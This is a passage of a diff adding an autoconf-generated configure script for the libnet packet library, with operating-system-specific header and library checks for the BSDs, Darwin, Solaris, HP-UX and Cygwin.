+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+ \
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DHAVE_NET_ETHERNET_H"
+fi
+
+done
+
+ ;;
+
+*freebsd*)
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSD_BYTE_SWAP 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_SOCKADDR_SA_LEN 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP -DHAVE_SOCKADDR_SA_LEN"
+ ;;
+
+*netbsd*)
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSD_BYTE_SWAP 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP"
+ ;;
+
+*openbsd*)
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_SOCKADDR_SA_LEN 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS"
+ ;;
+
+*bsdi*)
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSD_BYTE_SWAP 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP"
+ ;;
+
+*darwin*)
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_SOCKADDR_SA_LEN 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DHAVE_SOCKADDR_SA_LEN"
+ ;;
+
+*solaris*)
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_SOLARIS 1
+_ACEOF
+
+
+
+for ac_header in sys/bufmod.h sys/dlpi_ext.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+ echo "$as_me:$LINENO: checking for /dev/dlpi device" >&5
+echo $ECHO_N "checking for /dev/dlpi device... $ECHO_C" >&6
+ if test -c /dev/dlpi; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_DEV_DLPI 1
+_ACEOF
+
+ else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ dir="/dev/dlpi"
+ echo "$as_me:$LINENO: checking for $dir directory" >&5
+echo $ECHO_N "checking for $dir directory... $ECHO_C" >&6
+ if test -d $dir ; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ cat >>confdefs.h <<_ACEOF
+#define DLPI_DEV_PREFIX "$dir"
+_ACEOF
+
+ else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ fi
+ fi
+
+echo "$as_me:$LINENO: checking for socket in -lsocket" >&5
+echo $ECHO_N "checking for socket in -lsocket... $ECHO_C" >&6
+if test "${ac_cv_lib_socket_socket+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lsocket $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char socket ();
+int
+main ()
+{
+socket ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_socket_socket=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_socket_socket=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_socket_socket" >&5
+echo "${ECHO_T}$ac_cv_lib_socket_socket" >&6
+if test $ac_cv_lib_socket_socket = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define HAVE_LIBSOCKET 1
+_ACEOF
+
+ LIBS="-lsocket $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: libsocket not found." >&5
+echo "$as_me: error: libsocket not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+
+echo "$as_me:$LINENO: checking for gethostbyname in -lnsl" >&5
+echo $ECHO_N "checking for gethostbyname in -lnsl... $ECHO_C" >&6
+if test "${ac_cv_lib_nsl_gethostbyname+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lnsl $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char gethostbyname ();
+int
+main ()
+{
+gethostbyname ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_nsl_gethostbyname=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_nsl_gethostbyname=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_gethostbyname" >&5
+echo "${ECHO_T}$ac_cv_lib_nsl_gethostbyname" >&6
+if test $ac_cv_lib_nsl_gethostbyname = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define HAVE_LIBNSL 1
+_ACEOF
+
+ LIBS="-lnsl $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: libnsl not found." >&5
+echo "$as_me: error: libnsl not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+
+ case "`uname -r`" in
+ 5.4)
+ cat >>confdefs.h <<\_ACEOF
+#define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ ;;
+ 5.5*)
+ cat >>confdefs.h <<\_ACEOF
+#define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ ;;
+ 5.8)
+ cat >>confdefs.h <<\_ACEOF
+#define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_SOLARIS_IPV6 1
+_ACEOF
+
+ ;;
+ 5.9)
+ cat >>confdefs.h <<\_ACEOF
+#define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_SOLARIS_IPV6 1
+_ACEOF
+
+ ;;
+
+ esac
+
+ ADDITIONAL_LIBS='-lsocket -lnsl'
+ LIBNET_CONFIG_LIBS="$LIBNET_CONFIG_LIBS -lsocket -lnsl"
+ ;;
+
+*hpux11*)
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_HPUX11 1
+_ACEOF
+
+
+for ac_header in sys/dlpi_ext.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+ ;;
+
+*cygwin*)
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define NO_SNPRINTF 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DNO_SNPRINTF"
+ CFLAGS="$CFLAGS -mno-cygwin -O0 -fnative-struct -DNO_SNPRINTF -I/usr/include/pcap"
+
+echo "$as_me:$LINENO: checking for PacketSetMode in -lpacket" >&5
+echo $ECHO_N "checking for PacketSetMode in -lpacket... $ECHO_C" >&6
+if test "${ac_cv_lib_packet_PacketSetMode+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lpacket $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char PacketSetMode ();
+int
+main ()
+{
+PacketSetMode ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_packet_PacketSetMode=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_packet_PacketSetMode=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_packet_PacketSetMode" >&5
+echo "${ECHO_T}$ac_cv_lib_packet_PacketSetMode" >&6
+if test $ac_cv_lib_packet_PacketSetMode = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define HAVE_LIBPACKET 1
+_ACEOF
+
+ LIBS="-lpacket $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: packet lib not found." >&5
+echo "$as_me: error: packet lib not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+
+echo "$as_me:$LINENO: checking for pcap_setmode in -lwpcap" >&5
+echo $ECHO_N "checking for pcap_setmode in -lwpcap... $ECHO_C" >&6
+if test "${ac_cv_lib_wpcap_pcap_setmode+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lwpcap $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char pcap_setmode ();
+int
+main ()
+{
+pcap_setmode ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_wpcap_pcap_setmode=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_wpcap_pcap_setmode=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_wpcap_pcap_setmode" >&5
+echo "${ECHO_T}$ac_cv_lib_wpcap_pcap_setmode" >&6
+if test $ac_cv_lib_wpcap_pcap_setmode = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define HAVE_LIBWPCAP 1
+_ACEOF
+
+ LIBS="-lwpcap $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: pcap lib not found." >&5
+echo "$as_me: error: pcap lib not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+ LIBS="$LIBS -lws2_32"
+ ;;
+
+*)
+ { echo "$as_me:$LINENO: WARNING: apparently your OS is not officially supported yet" >&5
+echo "$as_me: WARNING: apparently your OS is not officially supported yet" >&2;}
+ { echo "$as_me:$LINENO: WARNING: this may not work" >&5
+echo "$as_me: WARNING: this may not work" >&2;}
+ echo "$as_me:$LINENO: result: please send diffs to mike@infonexus.com" >&5
+echo "${ECHO_T}please send diffs to mike@infonexus.com" >&6
+ ;;
+
+esac
+
+ ac_config_files="$ac_config_files Makefile src/Makefile include/Makefile include/libnet/Makefile sample/Makefile version.h include/libnet.h libnet-config"
+ ac_config_commands="$ac_config_commands default"
+cat >confcache <<\_ACEOF
+# This file is a shell script that caches the results of configure
+# tests run on this system so they can be shared between configure
+# scripts and configure runs, see configure's option --config-cache.
+# It is not useful on other systems. If it contains results you don't
+# want to keep, you may remove or edit it.
+#
+# config.status only pays attention to the cache file if you give it
+# the --recheck option to rerun configure.
+#
+# `ac_cv_env_foo' variables (set or unset) will be overridden when
+# loading this file, other *unset* `ac_cv_foo' will be assigned the
+# following values.
+
+_ACEOF
+
+# The following way of writing the cache mishandles newlines in values,
